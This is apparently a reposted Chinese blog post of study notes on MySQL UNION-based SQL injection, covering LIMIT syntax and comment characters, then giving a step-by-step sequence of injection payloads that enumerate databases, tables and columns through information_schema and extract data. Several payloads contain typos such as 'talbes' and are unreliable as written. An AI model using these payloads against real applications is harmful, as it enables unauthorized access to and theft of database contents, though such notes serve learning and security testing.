您的位置:首页 > 数据库

SQL注入之联合查询注入

2017-10-31 18:06 357 查看
关于这方面网上的资料已经很多了,其中该博客(http://www.jianshu.com/p/399881e79b1f)已经写得很详细了,我就不再赘述了。只是把我测试过程中踩过的坑、要点和一些疑问记录下来。

知识点

union联合查询

order by

information_schema

limit

select * from table limit m,n

其中m是指记录开始的index,从0开始,表示第一条记录

n是指从第m+1条开始,取n条。

select * from tablename limit 2,4

即取出第3条至第6条,4条记录

## 注释符##

mysql的注释有4 种:

‘#’:# 开头到行尾的都为注释,只能注释一行。

‘– ‘(2个减号 一个空格):-开头到行尾都为注释 , 只能注释一行。

‘–+’:在url里我们可以写成这样

‘/xxx/’:可以注释多行,但是一定要闭合,不然出错。

‘/!xxx/’:可以跨行注释,但是一定要闭合,不然出错。

注释符的作用

关于注释,没有查到太多的资料,但是在真实的渗透过程中,注释非常重要,往往会影响到我们的语句是否成功。

注释符的重要作用是为了符合后面的单引号 或双引号 或其它符合,如果不闭合的话 sql就无法正常运行,包括流程中提到的攻击语句,一般也是需要加注释符的。我这里没有写 是因为你需要根据实际情况从以上四种注释符中选择一种,常见的是加“#”,或者是“-- ”。

案例

下面是我自己遇到的几个案例。

1、#不生效

<?php echo $_GET['key']; ?>


当url为http://test.com/c.php?key=999时,正常输出:999

当url为http://test.com/c.php?key=9#888时,只能输出:9

所以我在做练习的时候,发现#不生效。

流程

1、猜解列数,得到显示位

1’ order by 2 –

2、得到数据库

union select 1,2,schema_name from information_schema.schemata limit 1,1

union select 1,2,group_concat(table_name) from information_schema.schemata

下面两条命令也得到数据库,但是必须去重 不然里面有重复的信息。

union select 1,2,distinct table_schema from information_schema.talbes limit 1,1

union select 1,2,group_concat(distinct table_schema) from information_schema.talbes limit 1,1

3、得到表名

union select 1,2,3,4,table_name,5 from information_schema.tables where table_schema=数据库的16进制编码 limit 1,1

union select 1,2,3,4,group_concat(table_name),5 from information_schema.tables where table_schema=数据库的16进制编码

不明白为什么要转换成16进制编码?







4、得到列名

union select 1,2,3,4,column_name,5,6,7 from information_schema.columns where table_name=表名的十六进制编码 and table_schema=数据库的16进制编码 limit 1,1

union select 1,2,3,4,group_concat(column_name),5,6,7 from information_schema.columns where table_name=表名的十六进制编码 and table_schema=数据库的16进制编码

5、猜解数据

union select 1,2,3,字段1,5,字段2,7,8 from 数据库.表

参考

http://www.jianshu.com/p/399881e79b1f

https://www.waitalone.cn/mysql-injection-summary.html

http://blog.csdn.net/moqiang02/article/details/39000667

https://segmentfault.com/a/1190000007926959
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: